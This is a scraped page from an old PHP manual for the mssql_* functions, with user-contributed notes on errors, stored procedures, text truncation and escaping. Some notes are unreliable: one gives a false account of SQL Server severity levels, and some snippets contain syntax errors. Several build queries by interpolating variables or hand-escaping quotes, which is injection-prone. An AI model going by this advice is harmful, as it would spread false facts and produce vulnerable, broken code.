I've noticed that there's a few people putting really elongated code out there for a MSSQL Connection / Error function.

Firstly, i think that rewriting pre-existing functions is a waste of parsing time, so if you're going to try and return an error, usee mssql_get_last_message() as you would with mysql_error().

Here is an adapted version of a MySQL Connection function;

   function mssql_autoconnect() {
       $cString = parse_url($config['connect_url']);
       $cLink = mssql_connect($cString['host'], $cString['user'], $cString['pass']) or die(mssql_get_last_message());
       mssql_select_db(preg_replace("///",$cString['path']),$cLink);
       return $cLink;
   }
klaus dot kuehne at gga-hannover dot de
06-Jun-2005 07:27
MSSQL_GET_LAST_MESSAGE() has  the major disadvantage, that only the last row of the SQLServer message will be returned. And in most cases, this last row has no significant information or is even empty.

In the meanwhile, I migrated my PHP-SQLServer application from MSSQL to ODBC, and now I use ODBC_ERRORMSG() instead of MSSQL_GET_LAST_MESSAGE(). And this function works o.k.

I think that's a good idea to use ODBC instead of the native database interfaces. The performance seems to be at the same level. And your application can easily ported to other database systems.

The only minus of ODBC vs. MSSQL known to me is that ODBC cannot process return values of stored procedures. No problem for most developers!

Regards,

Klaus

P.S.: Here is a small workaround for, the malfunctioning of MSSQL_GET_LAST_MESSAGE:

   function get_sql_error ($con) {

       $sql    = "select @@ERROR as code";
       $result = mssql_query($sql, $con);
       $row    = mssql_fetch_array($result);
       $code  = $row["code"]; // error code
       $sql    = "select cast (description as varchar(255)) as errtxt from master.dbo.sysmessages where error = $code and msglangid = 1031"; // german
       $result = mssql_query($sql, $con);
       $row    = mssql_fetch_array($result);
       if ($row)
           $text  = $row["errtxt"]; // error text (with placeholders)
       else
           $text  = "onknown error";
       mssql_free_result($result);
       return "[$code] $text";
   }
drunkennewfiemidget
23-Mar-2005 04:40
I've found mssql_get_last_message to be useful for fetching errors in the event MSSQL queries fail.

<?php

$q = @mssql_query("asdfasdfasfdasfd");
if (!$q)
     print "MSSQL Query failed: " . mssql_get_last_message() . "<br />\n";

?>
ripfel at thinktank dot de
25-May-2002 01:58
If you work with stored procedures and want to have a neat error-handling, try this:
procedure:
CREATE PROCEDURE TEST_ERROR  AS
RAISERROR('myMessage:test', 2, 1) WITH SETERROR

2 is error-severity, which should be below 11 to prevent php to output error directly.
you get this message with mssql_get_last_message()
after executing the stored procedure.
To prevent your code from reacting on all messages you can define a string (e.g. 'myMessage:') and parse for it:
<?php
$db = mssql_connect(DBHost, DBLogin, DBPassword);
mssql_select_db(DBName, $db);
$query = "exec TEST_ERROR";
$rs = mssql_query($query, $db);
$lastMsg = mssql_get_last_message();
if strstr($lastMsg, 'myMessage:') echo $lastMsg;
?>
php-contrib at i-ps dot nospam dot net
28-Jan-2002 02:24
With ref to last_insert_id;

you can also do "SELECT ident_current('table_name')" with msSQL, which is the same thing.
Don't forget that this counts as a seperate SQL query, so you will have to fetch the results as well, which isn't as neat as MySQL_insert_id().
richard at alpinenetworking dot com
30-Jul-2001 05:31
To get a numeric error code from mssql you can do a select that looks something like "select @@ERROR as ErrorCode".

@@ERROR is a global variable that always contains the error code for the last SQL statement run on the current connection.  If there is no error, code will equal 0.

@@IDENTITY is another useful one to know.  It is the value of the last identity created (similar to MySQL's auto_increment field) and with this you can create a function that works like MySQL's mysql_insert_id() function.
07-Apr-2001 12:48
MS SQL doesn't set errors as mysql does. $php_error is set as a string that doesn't help at all. The error comes in form of a Warning, which isn't pretty. So what you can do is capture the output of the warning and create your own error message, something like this:

function treat_mssql_error($buffer)
   {
       $buffer=ereg_replace("<br>\n<b>Warning</b>:  MS SQL message:","<b>Error in query (SQL Server)</b>: ",$buffer);
       $buffer=explode("(severity",$buffer);
       return $buffer[0]."</font>";
   }

   function my_query($query,$cnx)
   {
       global $sql_error;
       ob_start();
       $result=mssql_query($query,$cnx);
       if(!$result)
       {
           $sql_error=treat_mssql_error(ob_get_contents());
           ob_end_clean();
           return false;
       }
       ob_end_clean();
       return true;
   }

you can set treat_mssql_error() to fit your needs, and there u go. A personal error handler.
add a note add a note

后退 | 起点 | 前进
mssql_free_statement | 上一级 | mssql_guid_string


mssql_guid_string

(PHP 4 >= 4.1.0, PHP 5)

mssql_guid_string -- Converts a 16 byte binary GUID to a string

Description

string mssql_guid_string ( string binary [, int short_format] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
08-Jul-2005 11:52
php3 to php4 note

warning!
php4 handles MSSQL GUID like binaries values and not like a string as php3 used to do.
Even if you set  in your php.ini :
mssql.compatability_mode = On
jhorvath at bcn dot hu
19-Mar-2003 11:25
Using MSSQL2000 and PHP4.3.1 and FreeTDS-0.61 (always compile it with --enable-msdblib --with-tdsver=7.0 for proper working) this function won't give you the strings what you can see in MS's Enterprise Manager for uniqueidentifiers!
And the given strings also useless in SELECTs!
To get the number what you can reuse in later SELECTs, use this:

$q1 = mssql_query("SELECT cast(id as varchar(36)) FROM sales WHERE ...");

where in table 'sales' the column 'id' type is uniqueidentifier.
add a note add a note

后退 | 起点 | 前进
mssql_get_last_message | 上一级 | mssql_init


mssql_init

(PHP 4 >= 4.1.0, PHP 5)

mssql_init -- Initializes a stored procedure or a remote stored procedure

Description

resource mssql_init ( string sp_name [, resource conn_id] )

警告

本函数暂无文档，仅有参数列表。

See also mssql_bind(),
mssql_execute(), and
mssql_free_statement()

add a note add a note User Contributed Notes
shrockc at NOinhs dot orgSPAM
09-Jul-2002 12:19
If you are performing a stored procedure inside a loop, it is a good idea to unset the variable that mssql_init returns so that you do NOT bind multiple values to the same stored procedure:

foreach($input  as $sid=>$value) {
  $stmt = mssql_init("sp_doSomething");
  mssql_bind($stmt, "@sid", $sid, SQLINT4, false);
  mssql_bind($stmt, "@value", $value, SQLINT4, false);
  $result = mssql_execute($stmt);
  unset($stmt);  // <---VERY important
}

Even doing the mssql_init outside the loop does not help because of the multiple binds happening inside the loop.

Failing to do the above generates "Access Violations...memory cannot be 'written'" errors on the server.  My hypothesis is that the error is generated when you try to bind to a stored procedure after it has already been executed.  You have been warned.
fjortizATcomunetDOTes
26-Dec-2001 08:58
this function was created to support
OUTPUT parameters and return values with
MSSQL stored procedures. Before this,
you could use T-SQL statement EXECUTE
and mssql_query to execute a stored
procedure, and it was fine as long as
you don't need to retrieve OUTPUT or
RETVAL values.

Now you can use this set of functions to execute and retrieve these values:
mssql_init
mssql_bind
mssql_execute

Parameters:
- sp_name : stored procedure name. It passes this string to a native DB-lib call, so I guess it supports all kinds of schemas (like "ownew.sp_name" or "otherdb.owner.sp_name")

- connection id: a connection resource
obtained with mssql_connect or similar.
If not provided, it will proceed just
like other similar mssql_* functions:
uses a default open connection or
creates a new one.

Return value: a resource id, called
"statement", used in subsequent calls to
mssql_bind and mssql_execute.

Note that many of the native MSSQL data types are directly supported, but I
think that some others must be converted
by other means (from varchar values for
example). These unsupported types are:

SQLMONEY4,SQLMONEY,SQLBIT,SQLDATETIM4,
SQLDATETIME, SQLDECIMAL, SQLNUMERIC,
SQLVARBINARY, SQLBINARY,SQLIMAGE

More info on supported types and new constants in mssql_bind
add a note add a note

后退 | 起点 | 前进
mssql_guid_string | 上一级 | mssql_min_error_severity


mssql_min_error_severity

(PHP 3, PHP 4, PHP 5)

mssql_min_error_severity -- Sets the lower error severity

Description

void mssql_min_error_severity ( int severity )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
Daniel J. Coleman
04-Jul-2003 02:44
If you have not worked with MS SQL, severity is based on 5 levels.

Level 0:
The code contains a genuine error, and if executed, may not run as expected. For example, a syntax error or a reference to a non-existent method will cause a Level 0 error.

Level 1:
The code is syntactically correct, and has some defined meaning, but it may not be what the programmer was expecting. For example, a statement with no side effects such as x+1 will generate a Level 1 warning.

Level 2:
The code is correct but may cause problems in the future. For example, using deprecated features will generate a Level 2 warning.

Level 3:
The code is correct but may result in bad performance. For example, if type inferencing fails for a variable, a Level 3 warning will be issued.

Level 4:
The code is correct but there may be a better way to accomplish the same thing. For example, using a non-Common Language Specification (CLS) compliant method signature will generate a Level 4 warning.
add a note add a note

后退 | 起点 | 前进
mssql_init | 上一级 | mssql_min_message_severity


mssql_min_message_severity

(PHP 3, PHP 4, PHP 5)

mssql_min_message_severity -- Sets the lower message severity

Description

void mssql_min_message_severity ( int severity )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
VGR at edainworks dot com
04-Jun-2004 01:53
very useful function to prevent the silly "message: blah blah blah" lines issued by the DB layer.

Just set the level to 17 and mssql_select_db() will (at last) leave you alone ;-)
add a note add a note

后退 | 起点 | 前进
mssql_min_error_severity | 上一级 | mssql_next_result


mssql_next_result

(PHP 4 >= 4.0.5, PHP 5)

mssql_next_result -- Move the internal result pointer to the next result

Description

bool mssql_next_result ( resource result_id )

When sending more than one SQL statement to the server or executing a stored procedure with multiple results, it will cause the server to return multiple result sets. This function will test for additional results available form the server. If an additional result set exists it will free the existing result set and prepare to fetch the rows from the new result set. The function will return TRUE if an additional result set was available or FALSE otherwise.

例子 1. mssql_next_result() example

<?php
    $link = mssql_connect("localhost", "userid", "secret");
    mssql_select_db("MyDB", $link);
    $SQL = "Select * from table1 select * from table2";
    $rs = mssql_query($SQL, $link);
    do {
        while ($row = mssql_fetch_row($rs)) {
        }
    } while (mssql_next_result($rs));
    mssql_free_result($rs);
    mssql_close($link);
?>

add a note add a note User Contributed Notes
mail_umesh at yahoo dot com
08-Dec-2003 09:40
you cant return multiple values from store proc but you can return multiple resultset, so you can use mssql_next_result()

eg..

   $stmt =  mssql_init("AuthLoginUser", $objDBH);
   mssql_bind($stmt,"@LoginUser",$LoginUser,SQLVARCHAR);
   mssql_bind($stmt,"@Password",$strNewPassword,SQLVARCHAR);
   mssql_bind($stmt,"@SessionId",$SessionId,SQLVARCHAR);
   //mssql_bind($stmt,"@ReturnVal",$ReturnVal,SQLVARCHAR,True);
   $rs=mssql_execute($stmt);

   do {
       while ($row = mssql_fetch_row($rs)) {
           echo "$row[0] -- $row[1]<BR>";
       }
   } while (mssql_next_result($rs));
   mssql_free_result($rs);
gagarin[at]i-dep.com
10-Dec-2002 12:39
It seems that mssql_next_result does not work with result sets returned by stored procedures.
m1tk4 at hotmail dot com
28-Jun-2002 11:43
This function does not exist as a Sybase (Sybase-CT) alias, so if you have PHP+FreeTDS||Sybase as a MSSQL client on Unix platform, it will not work.
add a note add a note

后退 | 起点 | 前进
mssql_min_message_severity | 上一级 | mssql_num_fields


mssql_num_fields

(PHP 3, PHP 4, PHP 5)

mssql_num_fields -- Gets the number of fields in result

Description

int mssql_num_fields ( resource result )

mssql_num_fields() returns the number of fields in a result set.

See also
mssql_query(),
mssql_fetch_field(), and
mssql_num_rows().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mssql_next_result | 上一级 | mssql_num_rows


mssql_num_rows

(PHP 3, PHP 4, PHP 5)

mssql_num_rows -- Gets the number of rows in result

Description

int mssql_num_rows ( resource result )

mssql_num_rows() returns the number of rows in a result set.

See also mssql_query() and mssql_fetch_row().

add a note add a note User Contributed Notes
h dot schuemann at cyquest-ag dot de
14-Nov-2000 02:13
For getting something like "mssql_affected_rows" call:

$rsRows = mssql_query("select @@rowcount as rows", $db);
$rows = mssql_result($rsRows, 0, "rows");

after execution of the query (UPDATE, INSERT or DELETE).
add a note add a note

后退 | 起点 | 前进
mssql_num_fields | 上一级 | mssql_pconnect


mssql_pconnect

(PHP 3, PHP 4, PHP 5)

mssql_pconnect -- Open persistent MS SQL connection

Description

resource mssql_pconnect ( [string servername [, string username [, string password]]] )

Returns: A positive MS SQL persistent link identifier on success, or FALSE on error.

mssql_pconnect() acts very much like mssql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (mssql_close() will not close links established by mssql_pconnect()).

This type of links is therefore called 'persistent'.

add a note add a note User Contributed Notes
php at burntpopcorn dot net
11-Mar-2004 10:17
Please note that mssql_pconnect creates a connection for the pool for *each process*. If you have "ThreadsPerChild" set to 50 in apache, and mssql.max_procs set to 25 in php, then eventually you will get mssql_pconnect failing to give you a connection to the database. This has stumped me for quite a while, and the answer finally presented itself thanks to the people in #php.
dave at dontspamme dot com
11-Feb-2004 06:32
If you are running PHP/Apache combination on a Windows machine that is part of a domain, using NT Authentication to connect to a MS SQL Server, you must to do the following things:

1) Turn NT Authentication On (under MSSQL in php.ini)
2) Configure the Apache service to run as the user that is authorized to access the MS SQL server.

Hope this helps save someone the time that it took me to track down!
m1tk4 at hotmail dot com
18-Jul-2002 12:08
Be careful with pconnect!

Platform: RH Linux 7.3, PHP 4.2.1. FreeTDS.

pconnect does give you better time than connect (about 0.25-0.4 seconds gain) BUT:

- occasionally, I've experienced "quirks" when fetch() would randomly return empty recordsets from stored procedurest that can_not return empty recordsets by definition.

- if you restart MSSQL server while some of the connections did not time out, next pconnect() will not establish a new connection! It will return an old one, so next time you do execute() or query() your script will just _hang_ until timeouted by Apache.

All of the above I believe are FreeTDS problems, not PHP. I wonder if somebody with PHP+Sybase lib got pconnect to work.
php at rawhide dot cjb dot net
12-Jul-2001 09:18
One should not that persistent connections are not persistent under a CGI interface.
add a note add a note

后退 | 起点 | 前进
mssql_num_rows | 上一级 | mssql_query


mssql_query

(PHP 3, PHP 4, PHP 5)

mssql_query -- Send MS SQL query

Description

mixed mssql_query ( string query [, resource link_identifier [, int batch_size]] )

Returns: A MS SQL result resource on success, TRUE if no rows were returned, or FALSE on error.

mssql_query() sends a query to the currently active database on the server that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if mssql_connect() was called, and use it.

See also mssql_select_db() and mssql_connect().

add a note add a note User Contributed Notes
huberkev11 at hotmail dot com
12-May-2006 11:47
Solution for the following Error:

Warning: mssql_query() [function.mssql-query]: message: Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.

This is because you are using column types of like ntext instead of text.  There are 2 solutions.

1.  Change all ntext column types to text or
2.  Your query must look like: SELECT CAST(field1 AS TEXT) AS field1 FROM table
taavi at mydomainhere dot com
19-Apr-2006 12:49
watch out for mssql.timeout configuration value - if you dealing with scripts that take long time to run (backup managment, dts jobs), it might just stop running query in the middle without giving any php or sql error.
km at mcminndigital dot com
19-Apr-2006 02:17
Another note for the archives:

If for some reason you aren't on a windows platform (using FreeTDS etc), or on a older windows platform and are having a hard time with unicode errors with ntext and images there are two things to do:

1) make sure you odbc drivers are up to date
 :: or ::
2) make sure to convert any ntext or image fields in your select. If you need an image from a select then you are stuck with upgrading your odbc drivers if you are getting unicode errors.

Use mssql_field_type to get your field types however you want.

SELECT [Name], [UserID], [SomeValue], convert(TEXT, [Description]) FROM [MyDB.[dbo].[MyTable];
15-Apr-2006 07:35
If you are having problems with truncated text fields from mssql queries (pe. at 4096 characters), try some of the following:

in php.ini:
- mssql.textlimit = 65536
- mssql.textsize = 65536

in your php code, before your queries:
- mssql_query ( 'SET TEXTSIZE 65536' , $myConn );
- ini_set ( 'mssql.textlimit' , '65536' );
- ini_set ( 'mssql.textsize' , '65536' );
andrei_mole at yahoo dot com
07-Apr-2006 04:30
if anyone has faced a problem with displaying images from mssql image field it could be that they have an ole header put by sql.
here is an example. hope it helps:

<?php
$db=mssql_connect("server","user","pass");
$d=mssql_select_db("NorthWind", $db);
$sql = "SELECT Picture FROM Categories WHERE CategoryId=2";
$res = mssql_query($sql);
$row = mssql_fetch_array($res);
$data = $row['Picture'];
header("Content-Type: image/bmp");
//remove the ole header
$data = substr($data,78);
//print the pic in the browser
echo $data;
mssql_close();
?>
augustinus at netsession dot net
02-Mar-2006 02:53
Regarding the note of jesse at lostangel dot net, written on 17-Sep-2002 03:33 implementing the mysql_insert_id function for MSSQL I have a remark:

The example hasn't worked on my database server (SQL Server 2000 Standard Edition with SP3a, english) so i just left of the exec statement.
Instead I used:

$result = mssql_query("INSERT INTO STUFF(gaga,otherGaga) VALUES ('hello','apple'); SELECT @@IDENTITY as insertId;");

list ($gagaId) = mssql_fetch_row($result);
Rizwan Khan
23-Feb-2006 06:47
MSSQL will not let you use TEXT data in the where clause, TEXT data is BLOG data, its max size is 2,147,483,647 bytes (each character occupies one byte).
The varchar and char can have max of 8000 characters, so you can use text data in a where clause if you convert as follows convert(varchar(8000),SOMETEXTDATA)

select * from tHistory where myNotes=convert(varchar(8000),SOMETEXTDATA)
Rizwan Khan
23-Feb-2006 06:37
Just explaining how to get date in YYYY-MM-DD format much easily, when you use convert function in SQL you usually give the format as one of the arguments. for example <br>
select convert(varchar(20),getdate(),20)<br>
select convert(varchar(20),getdate(),120)<br>
will both return dates in yyyy-mm-dd hh:mi:ss(24h) format. you can also use <br>
select convert(varchar(20),getdate(),21)<br>
select convert(varchar(20),getdate(),121)<br>
in yyyy-mm-dd hh:mi:ss.mmm(24h) formats.<br>
So now when you have the date as string from either of the four convert functions you can either take the left part of the string or use a substring function to get the date in YYYY-MM-DD format.<br>
following are few examples.<br>
select left(convert(varchar(20),getdate(),20),10)<br>
select left(convert(varchar(20),getdate(),120),10)<br>
select left(convert(varchar(20),getdate(),21),10)<br>
select left(convert(varchar(20),getdate(),121),10)<br>
select substring(convert(varchar(20),getdate(),20),1,10)<br>
select substring(convert(varchar(20),getdate(),20),1,10)<br>
select substring(convert(varchar(20),getdate(),120),1,10)<br>
select substring(convert(varchar(20),getdate(),21),1,10)<br>
select substring(convert(varchar(20),getdate(),121),1,10)<br>
tristanx3 at rogers dot com
30-Dec-2005 11:35
It would appear that MSSQL will not let you use fields of the TEXT data type in WHERE clauses.

I tried running a simple query to get account data for a particular user based on email address, but the command was not returning any data.  I finally realized that this was because the emailaddress column was of the data type TEXT.  When I changed the WHERE clause in the query to test against a name, which was of type VARCHAR, the query worked perfectly.

I overcame this problem by converting the TEXT field to VARCHAR in the WHERE clause, as noted below:

<?php
### Field 'emailaddress' is of data type TEXT in the SQL database

# This would not work!
$sql = "SELECT * FROM accounts WHERE emailaddress = 'test@test.com'";

# Converting the data type inline solved the problem
$sql = "SELECT * FROM accounts WHERE CONVERT( VARCHAR, emailaddress ) = 'test@test.com'";
?>

This seems to have solved my problem, although I am still unsure of the limits (if any) to this solution.
12-Sep-2005 06:18
To get column of type datetime as varchar in format: "YYYY-MM-DD" you should use:

$query = "SELECT
   CAST(DATEPART(YYYY,row_date) AS CHAR(4)) + '-'
     + RIGHT(CAST(100+DATEPART(MM,row_date) AS CHAR(3)),2) + '-'
     + RIGHT(CAST(100+DATEPART(DD,row_date) AS CHAR(3)),2) + '' AS row_date,
           FROM TABLENAME WHERE id = '$id'";

(Where "row_date" is of type datetime)
12-Sep-2005 04:32
Another way how to use dates in queries:

$createdate="2005-01-30";

$query = "
DECLARE @newdate datetime;
SELECT @newdate=convert(varchar(100), '$createdate', 102);
INSERT INTO TABLE(NUMBER, DATE) VALUES ('$num', @newdate);"

and fire the query....
php at syntax101 dot com
08-Jul-2005 11:40
On certain server setups simply replacing a single quote with two single quotes will result in:
you\''d

I use the following function for single quote escaping quote for MSsql:

function escapeSingleQuotes($string){
   //escapse single quotes
   $singQuotePattern = "'";
   $singQuoteReplace = "''";
   return(stripslashes(eregi_replace($singQuotePattern, $singQuoteReplace, $string)));
}
php at syntax101 dot com
08-Jul-2005 11:39
On certain server setups simple replacing a single quote with two single quotes will result in:
you\''d

I use the following function for single quote escaping quote for MSsql:

function escapeSingleQuotes($string){
   //escapse single quotes
   $singQuotePattern = "'";
   $singQuoteReplace = "''";
   return(stripslashes(eregi_replace($singQuotePattern, $singQuoteReplace, $string)));
}
rzachris at yahoo dot com
20-May-2005 04:25
If you're having problems trying to get data stored in a varchar column with more than 255 chars use CONVERT to change the data type to TEXT like this:

$query=mssql_query("SELECT table.id, CONVERT(TEXT, table.comment) AS comment FROM table");

Don't forget to set name for the column (AS comment) or you won't be able to retrieve the data ...
Ben Mullins
01-Feb-2005 10:11
Although mssql_query does not support datetime paramaters with stored procedures, there is a simple way of getting around it.

Bind the parameter as a string i.e. SQLVARCHAR or SQLCHAR

mssql_bind($stmt, "@JoinDate", value, SQLVARCHAR, false,null,19);

and then use the sql server function CONVERT() in your stored procedure to convert the parameter to a datetime variable before using it.

SELECT @JD = convert(datetime,@JoinDate,103)
warwick dot barnes at aad dot gov dot au
12-Jan-2005 08:13
Using PHP 4.3.9 and MSSQL Library 7.0, when I try to SELECT text from a column (field) defined as VARCHAR 8000 I get only the first 255 characters of the text - it's trucated for no apparent reason.

To get round this I changed the column type from VARCHAR 8000 to TEXT, but then the output was trucated to 4096 characters.

To fix this I changed two values in PHP.INI:

mssql.textlimit = 16384
mssql.textsize = 16384

Now my text is trucated to 16384 characters, which is big enough for me - but you can apparently use a value as large as 2147483647.
roger4a45 at yahoo dot es
28-Oct-2004 05:15
Using Aplication Role with PHP

Introduction

Aplication Role is a Microsoft SQL Server 2000 feature that allow to make control what "source" use your data. It means that you can allow select, inset or update operation from your PHP code and deny it from and ODBC source, Microsoft Access or any kind of application that want to use your data.

Scenario:

Imagina you have a DAtabase named MYDB. This DB has three table. TABLEA, TABLEB and TABLEC. Imagine that your user named 'nemesis' can access to TABLEA from anywhere but you want that from table B and C access from your PHP code.

Follow this steps

[From your MSSQL Administrator]

1 -. From your Database MYDB create a new role (Standard Role). Insert this user inside this role.
2 -. Edit permisions and deny any operation at TABLEB and TABLEC.
3 -. Create a new Role (Aplication Role). For intance  it named 'myaccess' with a password 'anypassword'.
4 -. Edit permisions and allow any operation you wish at TABLEB and TABLEC

[From your source] (I don't include any control errors to simplify source)

$s = mssql_connect('MYSERVER','nemesis','nemesispassword');
$b = mssql_select_db('MYDB',$s);

//This one activate application role. Any user permision are
//ignored. User permision are override with application role
// permisions.

$query = "EXEC sp_setapprole 'myaccess', 'anypassword'";
$b = mssql_query($query);
$result = mssql_query('SELECT * FROM TABLEB,$s);
[...]

Note: If you kill "$query = ..." you will find out that SELECT fails. If you insert that line $quey will be succeed. Now, nemesis only can take data from TABLEB and TABLEC through your PHP code. If he/She try to use that data through ODBC driver then he can not do it.

NOte: Application role drops when you make a mssql_close.
dennis at -nospam- darknoise d0t de
27-Sep-2004 08:02
In response to post from jesse at lostangel dot net from 18-Sep-2002:

INSERT ...
SELECT @@IDENTITY
may NOT work as desired!
While running multiple queries at the same time, you will get the last identity value generated, somewhere in your database.

If you need to know the identity value generated by your INSERT statement, use SCOPE_IDENTITY().
aleks [aleks AT linuxgalaxy DOT org]
17-Apr-2004 04:39
Just in case anyone is having problems with mssql_query calling a procedure, where the procedure has multiple SELECTs, INSERTs and/or UPDATEs and some do not return any kind of a result, but some do.
When trying to run mssql_query in that case an error: "Warning: mssql_fetch_array(): 1 is not a Sybase result index in ..." would result, or if one uses something like "SELECT @@IDENTITY" to return something for those statements an error: "Expected dbnextrow() to return NO_MORE_ROWS." would result.
A simple fix for the error(s) is to use "SET NOCOUNT ON" statement before any statements that do not return anything and then "SET NOCOUNT OFF" before any statements that do.

--Aleks
labrat457_minusthispart!_*-*_!yahoo.com
05-Feb-2004 02:50
You can run a stored proceedure AND get back a result set from mssql_query().  I figured this little trick out when I realized I couldn't use the mssql_init() function group for my stored procedure stuff as I needed datetime variables to be passed, and they are not supported.  However, you can "encapsulate" a snippet of stored procedure within a normal query that can be executed via mssql_query() and have a result value returned.  For example, here's a query which passes a store's local date and time to a stored procedure that converts it to the GMT values that is used internally by the rest of the database structure:
$temptime=time();
$storeid = 68;
$deptid = 70;
$StartDate = strftime("%b %d %Y %H:%M:%S",$temptime);
$spquery="
BEGIN
DECLARE @date datetime,
   @GMreturn datetime
SELECT @date='$StartDate'
execute TZ_toGMT '$storeid','$deptid',@date,@GMreturn OUTPUT
SELECT @GMreturn
END";

Now, when $spquery is passed to mssql_query(), it will return with a value for @GMreturn, which can be parsed out with mssql_fetch_array() as with any other query.
papaggel at csd dot uoc dot gr
21-Nov-2003 07:16
If you try to INSERT a large string to a MSSQLServer 2000 table attribute of type nvarchar/varchar/text/nchar/char, but it is limited to the first 256 characters do the following:

1. Open Tools->SQL Query Analyzer
2. In SQL Query Analyzer
   i.  Go to Tools->Options
   ii.  Select the "Results" tab
   iii. Change "Maximum characters per column" to something else
Me
30-Aug-2003 03:53
Kelsey made a note that the only character that MSSQL needs "escaping" is the single quote ', and it done by using two single quotes ''.  You will want to make sure that, when using strings, you contain the strings in single quotes, since you can't escape double quotes.

In addition, you won't find a mssql_escape_string() function (though there are for other DB's, i.e. mysql_escape_string()), but using:

$escapedString = str_replace("'","''",$stringToEscape);

Will accomplish the same thing.
jagos at ebrno dot net
24-Jul-2003 07:27
This's note about mssql and truncating binary output from database (mostly image ...), i spent about 2 days tuning this stuff and fortunately i made the hit ...
   so if you're experiencing truncates of your binary data read from mssql database (it looks like incomplete, broken or even no images) check mssql section of your php.ini file and set values of mssql.textlimit and mssql.textsize variables to their maximum (2147483647) or at least bigger size than the default is ... so i hope it helps a bit, have a good time
arnarb at oddi dot is
30-Apr-2003 09:16
If you'd like to store binary data, such as an image, in MSSQL, it's common to have problems with addslashes and co.

This is because the MSSQL parser makes a clear distinction between binary an character constants. You can therefore not easilly insert binary data with "column = '$data'" syntax like in MySQL and others.

The MSSQL documentation states that binary constants should be represented by their unquoted hexadecimal byte-string. That is.. to set the binary column "col" to contain the bytes 0x12, 0x65 and 0x35 you shold do "col = 0x126535" in you query.

I've successfully stored and retrieved jpeg images in a column with the "image" datatype. Here's how:

// storing a file
$datastring = file_get_contents("img.jpg");
$data = unpack("H*hex", $datastring);
mssql_query("insert into images (name, data)
         values ('img.jpg', 0x".$data['hex'].")");

// retrieving
$result = mssql_query("select data from images where name = 'img.jpg'");
$row = mssql_fetch_assoc($result);
header("Content-type: image/jpeg;");
echo $row['data'];

As you can see there is nothing to do with the image on they way out, just blurb out the buffer your recieve as with any other field type.
AzRaH
01-Mar-2003 06:15
If you are experiencing TRUNCATING issues trying to return more than 4096 bytes on a VARCHAR field try converting it to text:

CONVERT(TEXT, Yourfield)

EX:
$sql->db_select("SELECT cc_main.cc_entry_id, CONVERT(TEXT, cc_main.comment) FROM cc_main");
wind at wag dot nl
15-Nov-2002 04:55
Had a similar problem to Jesse

What I experienced with Microsoft SQLserver 2000 and PHP 4.1.2 was that if you execute a query consisting of multiple queries separated by a semicolon with mssql_query is that the queries themselves are executed but the connection is dropped immediately after that. It seems that the phpdriver doesn't count on this.
The EXEC solution (or maybe sp_executesql) works fine in these cases because to the db-library it is one statement.
php at netznacht dot de
11-Oct-2002 07:12
Just tried to give a string:

Welcome at Mike's  to the SQL Server:

He misinterpreted the \' as the end of the String.
MySQL will resolve  \' and not think that the String has ended.

You should replace the \' before constructing the MSSQL Query string.
jesse at lostangel dot net
18-Sep-2002 06:33
While trying to return a @@IDENTITY after an INSERT statement, the only way I could get a valid return result was to encapsulate the query within an EXEC like so:

   $result = mssql_query("
       exec(\"
       INSERT INTO Files
           (ownerId, name, sizeKB, path)
           VALUES ('$contactId', '$userfile_name', '$filesize', '$path')
       SELECT @@IDENTITY as fileId\")
       ");
   list($fileId) = mssql_fetch_row($result);

This returned the appropriate @@IDENTITY in a valid result set.  Not sure if mssql supports multiple inline commands or not.  But that assumption would back the useage of the EXEC command in order to execute these properly.
adamhooper at videotron dot ca
16-Jul-2002 02:15
As with all _query() functions, if there is no database connection and mssql_connect() fails, the return value will be NULL (not false).
cusaacb at squared dot com
21-Jun-2002 03:04
Using the latest version of freetds with support for tds ver 7.0.  I could not get more than 256 characters on varchar until I set the environment variable TDSVER=70.

Then it correctly returns all of the field.
arthur dot mcgibbon at btinternet dot com
09-Apr-2002 11:01
The mssql_execute etc. commands for stored procs do not seem to support a DATETIME type.
This means using mssql_query.
Now problems occur when you want to use parameters that have Input values and Output values.  SQL Server refuses to acknowledge the following...

declare @ret int, @i int
select @i = 25
exec @ret = testsp @Param1 = @i output
select @ret, @i

It doesn't like 2 select statements, even when the first is changed to "set".

To get round this, put the whole query into an exec command.
e.g.
mssql_query("exec('declare @ret int, @i int
select @i = 25
exec @ret = testsp @Param1 = @i output
select @ret, @i')"

This seems to work fine.
pbl1 at free dot fr
29-Nov-2001 01:17
Environment :Windows2000 SQLServer2000
Syntax: If you put between [] the name of the table in which you want to perform the selection it works, otherwise it is not running.

$query = "SELECT * FROM [TABLENAME]";
mssql_query($query)
wraithgar at hotmail dot com
01-Aug-2001 04:49
We are using --with-sybase=/opt/sybase-11.9.2/

We had a problem at first getting mssql results w/ a text field to return anything more than 4096 bytes.
The mssql.textlimit and mssql.textsize parameters in php.ini had no effect on this.
Turns out you can control this from the mssql end w/ one simple query
mssql_query("set textsize 65536");

Of course, 65536 is just an example, use whatever value you need to get back as a max.

We tested it and the setting stayed through the whole connection, no need to run that query before EVERY one of your real queries.  However, it didn't seem to retain across sessions.. (sorry, can't simply run the query once and forget about it)

Hope this helps others who are banging their head on a wall like we were.
mark at gamezone dot co dot za
28-Nov-2000 02:58
With freetds 4.2 (on freebsd) connecting to an MS-SQL7 db, I encountered the problem where certain INSERT and UPDATE queries were not returning resulting in the script timing out.

It seems as though a query which doesn't return column data, just doesn't return.

To remedy this I append "; SELECT @@IDENTITY" or "; SELECT 1" or any arbitrary query to my normal insert/update queries, this causes it to return arbitrary column data after the normal query and thus give control back to php.

-Mark
slick at 4servicesupport dot com
25-Jul-2000 11:15
jake.b is right.  By getting freetds from http://www.freetds.org and configuring PHP4 --with-sybase=<freetdsdirectory>, you can connect to an MSSQL7 server from Linux.  Then I was able to execute stored procedures by flinging the entire query string to mssql_query.  Using the returned pointer, I was able to retrieve data into an array using mssql_fetch_array.
add a note add a note

后退 | 起点 | 前进
mssql_pconnect | 上一级 | mssql_result


mssql_result

